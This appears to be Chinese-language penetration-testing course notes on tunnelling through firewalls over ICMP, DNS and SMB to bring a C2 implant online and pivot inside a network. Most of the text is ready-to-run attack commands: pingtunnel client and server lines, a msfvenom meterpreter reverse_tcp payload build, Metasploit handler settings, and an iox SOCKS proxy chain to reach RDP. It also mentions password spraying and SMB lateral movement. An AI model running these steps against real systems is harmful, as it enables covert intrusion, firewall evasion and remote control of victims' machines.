内网对抗-隧道技术篇&防火墙组策略&ICMP&DNS&SMB协议&出网判断&C2上线&解决方案
➢ 隧道技术-ICMP-探针&搭建-C2上线&穿透
➢ 隧道技术-DNS-探针&搭建-C2上线&穿透
学隧道前先搞清楚
0、不是有互联网才叫出网(出网的意思就是能不能把数据带出去,通不通讯)
1、C2常见上线采用的协议
2、常见的协议层出网判断
常用的隧道技术:
利用各种隧道技术,以网络防火墙允许的协议,
绕过网络防火墙的封锁,实现访问被封锁的目标网络
网络层:IPv6 隧道、ICMP 隧道
传输层:TCP 隧道、UDP 隧道、常规端口转发
应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道
协议 判断命令
ICMP ping ip or domain
HTTP curl ip or domain
SSH ssh ip or domain
DNS nslookup domain
TCP telnet ip port
... ................
ICMP(Internet Control Message Protocol,互联网控制报文协议)
用途:ICMP 是 TCP/IP 协议族的一部分,主要用于网络诊断和错误报告,例如 ping
和 traceroute
工具就依赖 ICMP。
#C2上线-开防火墙入站只80&出站只放ICMP:
ICMP 通过 PING 命令访问远程计算机,建立 ICMP 隧道,将 TCP/UDP 数据封装到 ICMP 的 PING 数据包中,从而穿过防火墙,防火墙一般不会屏蔽 PING 数据包,实现不受限制的访问。
应用场景:80为入口权限点,ICMP为上线突破口
适用场景:目标入站正向被拦截,出站有ICMP出网
排查出网协议:curl nslookup ping等命令
https://github.com/esrrhs/pingtunnel
CS:
./pingtunnel -type server
将本地的6666流量转发到IP:7777上面(TCP流量封装成ICMP转发的)
pingtunnel -type client -l :6666 -s 192.168.139.141 -t 192.168.139.141:7777 -tcp 1 -noprint 1 -nolog 1
监听器配置:
127.0.0.1 6666(后门)
192.168.139.141 7777 (监听上线)
MSF:
pingtunnel -type client -l :3333 -s 192.168.139.141 -t 192.168.139.141:3344 -tcp 1 -noprint 1 -nolog 1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=3333 -f exe -o msf.exe
监听器配置:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3344
run
#C2上线-开防火墙入站只80&出站只放DNS:
应用场景:80为入口权限点,DNS为上线突破口
适用场景:目标入站正向被拦截,出站有DNS出网
排查出网协议:curl nslookup ping等命令
HTTP Host(Stager) 填写需要回联的IP
CS:
-域名申请及配置
-监听器创建及配置
-后门绑定监听器生成
checkin
mode dns-txt
MSF:
pro版本的reverse_dns模块
https://zhuanlan.zhihu.com/p/424351656
https://blog.csdn.net/vspiders/article/details/78999624
#C2上线-SMB-开防火墙入站只445:
SMB一般在防火墙入站默认是开启的,判断目标端口是否开放
适用场景:防火墙放行的入口打不下利用放行的SMB移动获取权限
利用条件:密码喷射或已知口令的情况下直接正向SMB横向移动拿下
#后续穿透问题
1、Pingtunel配合iox代理Socks内网穿透
2、dnscat2(DNS)配合上线
C2:
接收客户端传递的ICMP
./pingtunnel -type server -noprint 1 -nolog 1 -key 000000
将本地4455转至5566端口
./iox proxy -l 4455 -l 5566
Web
将本地2222的TCP封装IMCP给192.168.139.141:4455
pingtunnel -type client -l 127.0.0.1:2222 -s 192.168.139.141 -t 192.168.139.141:4455 -tcp 1 -noprint 1 -nolog 1 -key 000000
建立SockS节点绑定3389端口:
iox.exe proxy -r 127.0.0.1:2222
SMB (Server Message Block) 隧道是一种利用 SMB 协议进行数据封装和传输的技术,主要用于绕过网络限制或在受限环境中建立隐蔽通信通道。
基本原理
SMB 隧道的工作原理是通过 SMB 协议封装其他协议的数据,使其看起来像正常的文件共享流量,从而绕过防火墙或IDS/IPS的检测。
主要应用场景
绕过网络限制:在只允许SMB端口(445/TCP)通行的网络中建立通信
隐蔽通信:将其他协议流量伪装成正常的文件共享流量
横向移动:在内网渗透中用于跳板机之间的连接